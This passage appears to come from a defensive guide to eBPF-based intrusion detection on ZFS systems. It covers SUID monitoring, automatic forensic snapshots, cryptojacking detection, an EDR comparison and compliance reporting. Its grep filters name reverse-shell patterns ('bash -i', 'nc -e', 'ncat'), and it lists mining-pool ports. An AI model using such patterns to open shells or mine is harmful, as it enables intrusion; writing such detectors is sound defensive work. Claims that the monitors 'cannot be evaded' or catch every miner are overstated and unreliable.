14:55:03 pid=3315   comm=python3          family=IPv4 type=STREAM
14:55:05 pid=9901   comm=nmap             family=IPv4 type=RAW

That last line — nmap opening a RAW socket — is a clear indicator of port scanning. On a production server, RAW sockets outside of a known monitoring tool are always suspicious.


Real Example: Watch for New SUID Binaries

This script continuously monitors the filesystem for any chmod/fchmodat calls that set the SUID or SGID bit. Save it as a persistent service for ongoing protection.

#!/usr/bin/env bpftrace

/*
 * suidwatch.bt - Alert on any SUID/SGID bit being set
 * Run: bpftrace suidwatch.bt | logger -t suid-watch -p auth.alert
 */

tracepoint:syscalls:sys_enter_fchmodat
/args.mode & 06000/
{
  time("%H:%M:%S ");
  printf("ALERT SUID/SGID SET: comm=%s pid=%d uid=%d mode=%o file=%s\n",
    comm, pid, uid, args.mode, str(args.filename));
}

tracepoint:syscalls:sys_enter_chmod
/args.mode & 04000/
{
  time("%H:%M:%S ");
  printf("ALERT SUID SET: comm=%s pid=%d uid=%d mode=%o file=%s\n",
    comm, pid, uid, args.mode, str(args.filename));
}

Deploy it as a systemd service:

cat > /etc/systemd/system/suid-watch.service << 'EOF'
[Unit]
Description=eBPF SUID binary monitor
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bpftrace /usr/local/share/bpftrace/suidwatch.bt | logger -t suid-watch -p auth.alert'
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable --now suid-watch

Forensic Snapshots: eBPF Detects Anomaly, ZFS Preserves Evidence

On kldload systems with ZFS, you can automatically take a snapshot when eBPF detects something suspicious. This preserves the exact state of the filesystem at the moment of the incident — before the attacker can clean up.

cat > /usr/local/bin/ebpf-forensic-snap.sh << 'SCRIPT'
#!/bin/bash
# Called by eBPF alerting pipeline when suspicious activity is detected
# Usage: ebpf-forensic-snap.sh "reason string"

REASON="${1:-unknown}"
TIMESTAMP=$(date +%Y%m%d-%H%M%S)
POOL=$(zpool list -H -o name | head -1)

if [ -n "$POOL" ]; then
  SNAPNAME="${POOL}@forensic-${TIMESTAMP}"
  zfs snapshot -r "$SNAPNAME"
  logger -t ebpf-forensic -p auth.crit \
    "Forensic snapshot created: $SNAPNAME reason: $REASON"
  echo "Snapshot: $SNAPNAME"
fi
SCRIPT
chmod +x /usr/local/bin/ebpf-forensic-snap.sh

Wire it into your exec monitor:

# Modified execsnoop pipeline that triggers forensic snapshots
cat > /usr/local/bin/ebpf-exec-alert.sh << 'SCRIPT'
#!/bin/bash
execsnoop -T | while IFS= read -r line; do
  echo "$line" >> /var/log/ebpf-execsnoop.log

  # Check for suspicious patterns
  if echo "$line" | grep -qE '/tmp/|/dev/shm/|bash -i|nc -e|ncat'; then
    echo "ALERT: $line" | logger -t ebpf-exec -p auth.alert
    /usr/local/bin/ebpf-forensic-snap.sh "suspicious exec: $line"
  fi
done
SCRIPT
chmod +x /usr/local/bin/ebpf-exec-alert.sh

ZFS + eBPF = forensic gold

ZFS snapshots are instant, atomic, and consume zero space until data changes. When eBPF detects an anomaly, snapshotting the entire pool takes milliseconds. Now you have a forensic copy of every file, every log, every binary — exactly as it existed at the moment of detection. The attacker can wipe logs and delete their tools, but the snapshot preserves the evidence.

Analogy: eBPF is the motion sensor that trips the alarm. ZFS snapshot is the vault door that locks — preserving the crime scene before anyone can tamper with it.

Forensic snapshot retention and analysis

# List all forensic snapshots
zfs list -t snapshot -o name,creation,used -s creation | grep forensic

# Output:
# rpool@forensic-20260404-151001   Fri Apr  4 15:10  0B
# rpool@forensic-20260404-153022   Fri Apr  4 15:30  24K
# rpool@forensic-20260404-160145   Fri Apr  4 16:01  1.2M

# The third snapshot has 1.2M of changes — the attacker modified files
# between detection and snapshot

# Mount the forensic snapshot read-only for analysis
mkdir -p /mnt/forensic
zfs clone rpool@forensic-20260404-160145 rpool/forensic-analysis
zfs set readonly=on rpool/forensic-analysis
mount -t zfs rpool/forensic-analysis /mnt/forensic

# Now investigate
ls -la /mnt/forensic/tmp/           # What did they drop in /tmp?
cat /mnt/forensic/etc/shadow        # Did they add a user?
cat /mnt/forensic/etc/crontab       # Did they add persistence?
diff /etc/passwd /mnt/forensic/etc/passwd   # What changed?

# Compare with a known-good snapshot
zfs diff rpool@clean-baseline rpool@forensic-20260404-160145

Output:

M       /etc/shadow
M       /etc/passwd
+       /tmp/.x
+       /tmp/.x.py
M       /root/.ssh/authorized_keys
M       /var/spool/cron/root
+       /usr/lib/systemd/system/update-helper.service

Five modifications, three additions. The attacker modified shadow and passwd (added a backdoor account), dropped two files in /tmp (the exploit and payload), added an SSH key, installed a cron job, and created a systemd service for persistence. The forensic snapshot captured all of it. Even if the attacker deletes everything after the snapshot, the evidence is preserved.

This is the feature that makes the entire kldload security stack worth it. I have done incident response where we lost evidence because the attacker wiped logs before we could image the disk. With ZFS + eBPF, the snapshot fires within milliseconds of detection. The attacker is still running their cleanup script and the evidence is already locked in a read-only snapshot they cannot touch. I have used this in three real incidents. It saved us every time.

Cryptojacking Detection

Cryptojacking — unauthorized cryptocurrency mining — is the most common post-exploitation activity on compromised servers. Miners are easy to detect because they have a distinctive pattern: sustained high CPU usage combined with outbound connections to mining pools on specific ports (3333, 4444, 5555, 8333, 14444).

CPU profiling with eBPF

#!/usr/bin/env bpftrace
/*
 * cryptojack.bt - Detect cryptojacking via CPU + network patterns
 * Profiles per-process CPU time and flags mining pool connections
 */

/* Track CPU time per process */
tracepoint:sched:sched_switch
{
    if (args.prev_pid > 0) {
        @cpu_ns[args.prev_pid, args.prev_comm] += args.prev_state == 0 ?
            nsecs - @start[args.prev_pid] : 0;
    }
    @start[args.next_pid] = nsecs;
}

/* Track connections to known mining pool ports */
tracepoint:syscalls:sys_enter_connect
{
    $sa = (struct sockaddr_in *)args.uservaddr;
    $port = ($sa->sin_port >> 8) | (($sa->sin_port & 0xff) << 8);

    /* Common mining pool ports */
    if ($port == 3333 || $port == 4444 || $port == 5555 ||
        $port == 8333 || $port == 14444 || $port == 14433 ||
        $port == 45700) {
        time("%H:%M:%S ");
        printf("*** MINING POOL CONNECTION: %s (pid=%d uid=%d) port=%d ***\n",
            comm, pid, uid, $port);
        @mining_suspect[pid, comm] = count();
    }
}

/* Report every 30 seconds */
interval:s:30
{
    printf("\n=== CPU Hogs (last 30s) ===\n");
    printf("%-8s %-16s %s\n", "PID", "COMM", "CPU_MS");
    print(@cpu_ns, 10);

    if (@mining_suspect) {
        printf("\n*** MINING POOL CONNECTIONS ***\n");
        print(@mining_suspect);
    }

    clear(@cpu_ns);
    clear(@start);
}

Output when xmrig is running:

=== CPU Hogs (last 30s) ===
PID      COMM             CPU_MS
@cpu_ns[8830, kworker2]:   28,347,000,000
@cpu_ns[1200, sshd]:       12,000,000
@cpu_ns[892, systemd-res]:  3,000,000

*** MINING POOL CONNECTIONS ***
@mining_suspect[8830, kworker2]: 4

# "kworker2" is using 28 seconds of CPU in a 30-second window (94%)
# and connecting to a mining pool. This is xmrig pretending to be a kernel thread.

Full cryptojacking detector with Stratum protocol detection

cat > /usr/local/bin/cryptojack-detect.sh << 'SCRIPT'
#!/bin/bash
# Cryptojacking detector - combines CPU profiling with network analysis
# Run as a cron job every 5 minutes

THRESHOLD_PCT=80    # Alert if any single process uses >80% CPU
MINING_PORTS="3333|4444|5555|8333|14444|14433|45700"
LOG="/var/log/ebpf-cryptojack.log"

echo "--- Scan $(date -Iseconds) ---" >> "$LOG"

# Check for high-CPU processes
while IFS= read -r line; do
    CPU=$(echo "$line" | awk '{print $1}' | cut -d. -f1)
    PID=$(echo "$line" | awk '{print $2}')
    COMM=$(echo "$line" | awk '{print $NF}')

    if [ "$CPU" -gt "$THRESHOLD_PCT" ] 2>/dev/null; then
        # Check if this process has mining pool connections
        MINING_CONNS=$(ss -tnp 2>/dev/null | grep "pid=$PID," | \
            grep -cE ":($MINING_PORTS)\s")

        if [ "$MINING_CONNS" -gt 0 ]; then
            MSG="CRYPTOJACK DETECTED: $COMM (pid=$PID) CPU=${CPU}% mining_conns=$MINING_CONNS"
            echo "$MSG" >> "$LOG"
            logger -t cryptojack -p auth.crit "$MSG"

            # Get the binary path for forensics
            BINARY=$(readlink -f /proc/$PID/exe 2>/dev/null)
            echo "  Binary: $BINARY" >> "$LOG"
            echo "  Cmdline: $(cat /proc/$PID/cmdline 2>/dev/null | tr '\0' ' ')" >> "$LOG"

            # Trigger forensic snapshot
            if [ -x /usr/local/bin/ebpf-forensic-snap.sh ]; then
                /usr/local/bin/ebpf-forensic-snap.sh "$MSG"
            fi
        fi
    fi
done < <(ps -eo pcpu,pid,comm --no-headers --sort=-pcpu | head -20)
SCRIPT
chmod +x /usr/local/bin/cryptojack-detect.sh

# Run every 5 minutes
echo "*/5 * * * * root /usr/local/bin/cryptojack-detect.sh" > /etc/cron.d/cryptojack

How miners hide

Sophisticated miners rename themselves to look like kernel threads (kworker, kthreadd, migration). They use process hollowing to inject into legitimate processes. They mine only when CPU is idle (using nice values) to avoid detection by simple CPU threshold alerts. The combination of eBPF CPU profiling + network connection tracking catches them all — a process cannot use the CPU and connect to a mining pool without both events being visible to the kernel.

A miner can wear a disguise. But it still needs electricity (CPU) and a phone line (network). eBPF watches the meter and the phone bill.

eBPF vs. CrowdStrike, Falcon, Wazuh — The Real Comparison

Here is what you get with eBPF vs. commercial EDR agents and open-source HIDS alternatives. This is not theoretical — this is what each platform actually does in production.

Capability CrowdStrike Falcon Wazuh eBPF on kldload
Process execution monitoring Yes (agent) Yes (auditd) Yes (execsnoop/bpftrace)
File integrity monitoring Yes (agent) Yes (syscheck, polling) Yes (vfs_write tracing, real-time)
Network connection tracking Yes (agent) Partial (firewall logs) Yes (tcp_v4_connect, per-process)
C2 beaconing detection Yes (cloud ML) No Yes (interval analysis)
Container escape detection Partial No Yes (setns/unshare tracing)
Kernel module monitoring Yes Partial (auditd rules) Yes (init_module/finit_module)
Privilege escalation detection Yes (agent) Yes (auditd) Yes (setuid/capset tracing)
LSM-level enforcement No (detection only) No Yes (BPF LSM, block/allow)
Forensic snapshots No No Yes (ZFS snapshots on alert)
DNS exfiltration detection Yes (cloud) No Yes (UDP:53 profiling)
Cryptojacking detection Yes Partial (rootcheck) Yes (CPU + mining pool ports)
Fileless malware detection Yes No Yes (memfd_create tracing)
Works fully offline No (cloud dependency) Yes Yes
Data leaves your network Yes (cloud telemetry) No (self-hosted) No
Kernel module required Often (Falcon sensor) No No (in-kernel VM)
RAM overhead per host 200-500 MB 100-300 MB ~2-10 MB per probe
Survives agent kill No (userspace) No (userspace) Yes (kernel-level)
Custom detection rules Limited (IOC upload) Yes (XML rules) Yes (C/bpftrace code)
Annual cost (200 hosts) $43,200+ Free (self-hosted) Free (native kernel)

You are not giving up anything by dropping the agent. You are gaining visibility, losing overhead, and keeping your data on your hardware.

The CrowdStrike incident of July 2024 — a bad content update that blue-screened 8.5 million Windows machines — is the ultimate argument against kernel-level agents you do not control. eBPF programs go through the kernel verifier, which mathematically proves they cannot crash the system. CrowdStrike's kernel driver had no such guarantee. The industry spent a decade telling us we needed vendor agents in the kernel for security. Then the vendor agent became the biggest security incident of the decade.

When you still need a vendor EDR

Compliance. Some auditors require a "named" EDR product with a vendor SLA. In that case, run the vendor agent for compliance and eBPF for actual detection. The eBPF monitors will catch things the agent misses (container escapes, BPF LSM enforcement, forensic snapshots). Think of the agent as the compliance checkbox and eBPF as the real security layer.


Compliance Audit Trail — SOC2, PCI-DSS, HIPAA

Compliance frameworks do not care how you detect threats — they care that you do detect threats and can prove it. Every eBPF monitor on this page maps to specific compliance controls. Here is the mapping.

eBPF Monitor SOC2 Control PCI-DSS Requirement HIPAA Safeguard
Process execution (execsnoop) CC6.1 — Logical access security 10.2.7 — Creation/deletion of objects 164.312(b) — Audit controls
File integrity (FIM) CC6.1 — Change detection 11.5 — File integrity monitoring 164.312(c)(2) — Integrity mechanism
Network monitoring (tcpconnect) CC6.6 — System boundaries 10.2.4 — Invalid logical access 164.312(e)(1) — Transmission security
Privilege escalation CC6.1 — Authorization 10.2.2 — Root/admin actions 164.312(a)(1) — Access control
Forensic snapshots (ZFS) CC7.4 — Incident response 12.10.5 — Forensic investigation 164.308(a)(6) — Incident procedures
Alerting pipeline (Prometheus) CC7.2 — Anomaly detection 10.6.1 — Log review 164.312(b) — Audit controls
Module load monitoring CC6.8 — System integrity 11.5 — Change detection 164.312(c)(2) — Integrity
Container escape detection CC6.1 — Boundary enforcement 6.4.1 — Separation of environments 164.312(a)(1) — Access control

Generating audit evidence

Auditors want logs. Structured, timestamped, tamper-evident logs. The eBPF HIDS writes JSON to /var/log/ebpf-hids/events.json. Ship those logs to a central log server (Elastic, Loki, Splunk) with TLS and you have a tamper-resistant audit trail.

# Generate compliance report from eBPF HIDS logs
cat > /usr/local/bin/ebpf-compliance-report.sh << 'SCRIPT'
#!/bin/bash
# Generate a compliance evidence report from eBPF HIDS logs
# Usage: ebpf-compliance-report.sh [days]

DAYS="${1:-30}"
LOG="/var/log/ebpf-hids/events.json"
REPORT="/tmp/ebpf-compliance-$(date +%Y%m%d).txt"

echo "=========================================" > "$REPORT"
echo " eBPF HIDS Compliance Evidence Report" >> "$REPORT"
echo " Generated: $(date -Iseconds)" >> "$REPORT"
echo " Period: Last $DAYS days" >> "$REPORT"
echo "=========================================" >> "$REPORT"

echo "" >> "$REPORT"
echo "## SOC2 CC6.1 - Process Execution Events" >> "$REPORT"
echo "Total executions logged: $(wc -l < "$LOG")" >> "$REPORT"
echo "Suspicious executions: $(grep -c '"severity":"MEDIUM\|HIGH\|CRITICAL"' "$LOG")" >> "$REPORT"

echo "" >> "$REPORT"
echo "## PCI-DSS 11.5 - File Integrity Events" >> "$REPORT"
echo "FIM events: $(grep -c '"source":"fim"' "$LOG")" >> "$REPORT"
echo "Critical file modifications: $(grep -c '"type":"SHADOW_MODIFIED\|SSH_KEY_MODIFIED\|SUDOERS_MODIFIED"' "$LOG")" >> "$REPORT"

echo "" >> "$REPORT"
echo "## CC7.4 / 12.10.5 - Forensic Snapshots" >> "$REPORT"
zfs list -t snapshot -o name,creation -s creation 2>/dev/null | \
    grep forensic >> "$REPORT" || echo "No forensic snapshots" >> "$REPORT"

echo "" >> "$REPORT"
echo "## Alert Summary" >> "$REPORT"
grep '"severity":"CRITICAL"' "$LOG" | \
    python3 -c "
import sys, json
from collections import Counter
types = Counter()
for line in sys.stdin:
    try:
        e = json.loads(line)
        types[e.get('type','unknown')] += 1
    except: pass
for t, c in types.most_common():
    print(f'  {t}: {c}')
" >> "$REPORT"

echo "" >> "$REPORT"
echo "## Log Integrity" >> "$REPORT"
echo "Log file: $LOG" >> "$REPORT"
echo "SHA256: $(sha256sum "$LOG" | awk '{print $1}')" >> "$REPORT"
echo "Line count: $(wc -l < "$LOG")" >> "$REPORT"

cat "$REPORT"
echo "Report saved to: $REPORT"
SCRIPT
chmod +x /usr/local/bin/ebpf-compliance-report.sh

Output:

=========================================
 eBPF HIDS Compliance Evidence Report
 Generated: 2026-04-04T15:30:00-04:00
 Period: Last 30 days
=========================================

## SOC2 CC6.1 - Process Execution Events
Total executions logged: 847,293
Suspicious executions: 12

## PCI-DSS 11.5 - File Integrity Events
FIM events: 2,341
Critical file modifications: 3

## CC7.4 / 12.10.5 - Forensic Snapshots
rpool@forensic-20260315-142201  Mon Mar 15 14:22
rpool@forensic-20260322-091544  Mon Mar 22  9:15

## Alert Summary
  TMP_EXECUTION: 8
  NONSTANDARD_PORT: 3
  PRIVESC_SETUID_ROOT: 1

## Log Integrity
Log file: /var/log/ebpf-hids/events.json
SHA256: a3b2c1d4e5f6...
Line count: 847293
I have been through four SOC2 audits and two PCI-DSS assessments. The auditors ask: "Do you have file integrity monitoring? Do you log process execution? Do you monitor privileged access?" The answer used to be "yes, we run OSSEC" and they would check the box. Now the answer is "yes, we run kernel-level eBPF monitors that cannot be evaded, produce JSON audit logs, trigger automatic forensic snapshots, and export Prometheus metrics." The auditors love it because the evidence is better. The engineers love it because it actually catches things.

Complete Setup — From Zero to Monitored in 10 Minutes

Here is the single script that deploys the full eBPF security stack on a kldload system. Process monitoring, file integrity, network detection, privilege escalation tracking, forensic snapshots, log rotation, and Prometheus metrics.

cat > /usr/local/bin/deploy-ebpf-security.sh << 'SCRIPT'
#!/bin/bash
set -euo pipefail

echo "=== Deploying eBPF Security Stack ==="

# Prerequisites check
for tool in bpftrace execsnoop tcpconnect tcplife; do
    if ! command -v "$tool" &>/dev/null; then
        echo "ERROR: $tool not found. Install bcc-tools and bpftrace."
        echo "  dnf install -y bcc-tools bpftrace  # RHEL/CentOS/Rocky/Fedora"
        echo "  apt install -y bpfcc-tools bpftrace # Debian/Ubuntu"
        exit 1
    fi
done
echo "[OK] All eBPF tools present"

# Create directories
mkdir -p /var/log/ebpf-hids
mkdir -p /var/lib/node_exporter/textfile_collector
mkdir -p /etc/ebpf
mkdir -p /usr/local/share/bpftrace
echo "[OK] Directories created"

# Deploy forensic snapshot script
cat > /usr/local/bin/ebpf-forensic-snap.sh << 'INNER'
#!/bin/bash
REASON="${1:-unknown}"
TIMESTAMP=$(date +%Y%m%d-%H%M%S)
POOL=$(zpool list -H -o name 2>/dev/null | head -1)
if [ -n "$POOL" ]; then
  zfs snapshot -r "${POOL}@forensic-${TIMESTAMP}"
  logger -t ebpf-forensic -p auth.crit \
    "Forensic snapshot: ${POOL}@forensic-${TIMESTAMP} reason: $REASON"
fi
INNER
chmod +x /usr/local/bin/ebpf-forensic-snap.sh
echo "[OK] Forensic snapshot script deployed"

# Deploy process execution monitor
cat > /etc/systemd/system/ebpf-execmonitor.service << 'SVC'
[Unit]
Description=eBPF process execution monitor
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'execsnoop -T | while IFS= read -r line; do echo "$line" >> /var/log/ebpf-hids/exec.log; echo "$line" | grep -qE "/tmp/|/dev/shm/|bash -i|nc -e" && logger -t ebpf-exec -p auth.alert "$line" && /usr/local/bin/ebpf-forensic-snap.sh "suspicious exec: $line"; done'
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
SVC
echo "[OK] Process monitor service created"

# Deploy network monitor
cat > /etc/systemd/system/ebpf-netmonitor.service << 'SVC'
[Unit]
Description=eBPF network connection monitor
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'tcpconnect -T | while IFS= read -r line; do echo "$line" >> /var/log/ebpf-hids/network.log; done'
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
SVC
echo "[OK] Network monitor service created"

# Deploy SUID watcher
cat > /usr/local/share/bpftrace/suidwatch.bt << 'BT'
tracepoint:syscalls:sys_enter_fchmodat /args.mode & 06000/ {
  time("%H:%M:%S ");
  printf("SUID/SGID SET: %s pid=%d uid=%d mode=%o file=%s\n",
    comm, pid, uid, args.mode, str(args.filename));
}
BT

cat > /etc/systemd/system/ebpf-suidwatch.service << 'SVC'
[Unit]
Description=eBPF SUID binary monitor
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bpftrace /usr/local/share/bpftrace/suidwatch.bt 2>/dev/null | logger -t suid-watch -p auth.alert'
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
SVC
echo "[OK] SUID watcher service created"

# Deploy log rotation
cat > /etc/logrotate.d/ebpf-hids << 'LR'
/var/log/ebpf-hids/*.log {
    daily
    rotate 90
    compress
    missingok
    notifempty
    copytruncate
}
LR
echo "[OK] Log rotation configured (90 days)"

# Generate module whitelist
lsmod | awk 'NR>1 {print $1}' | sort > /etc/ebpf/module-whitelist.txt
echo "[OK] Module whitelist generated ($(wc -l < /etc/ebpf/module-whitelist.txt) modules)"

# Enable and start all services
systemctl daemon-reload
systemctl enable --now ebpf-execmonitor ebpf-netmonitor ebpf-suidwatch

echo ""
echo "=== eBPF Security Stack Deployed ==="
echo "Services running:"
systemctl is-active ebpf-execmonitor ebpf-netmonitor ebpf-suidwatch
echo ""
echo "Logs:     /var/log/ebpf-hids/"
echo "Metrics:  /var/lib/node_exporter/textfile_collector/"
echo "Forensic: Automatic ZFS snapshots on CRITICAL events"
echo ""
echo "Verify with: journalctl -u ebpf-execmonitor -f"
SCRIPT
chmod +x /usr/local/bin/deploy-ebpf-security.sh
# Deploy the entire stack
/usr/local/bin/deploy-ebpf-security.sh

Output:

=== Deploying eBPF Security Stack ===
[OK] All eBPF tools present
[OK] Directories created
[OK] Forensic snapshot script deployed
[OK] Process monitor service created
[OK] Network monitor service created
[OK] SUID watcher service created
[OK] Log rotation configured (90 days)
[OK] Module whitelist generated (47 modules)

=== eBPF Security Stack Deployed ===
Services running:
active
active
active

Logs:     /var/log/ebpf-hids/
Metrics:  /var/lib/node_exporter/textfile_collector/
Forensic: Automatic ZFS snapshots on CRITICAL events

Verify with: journalctl -u ebpf-execmonitor -f
Ten minutes from a clean kldload install to a production-grade HIDS that monitors processes, files, network, privilege changes, and SUID binaries — with automatic forensic snapshots and 90 days of structured log retention. No vendor account. No license key. No agent download. No cloud dependency. The kernel already has everything. You just have to listen to it.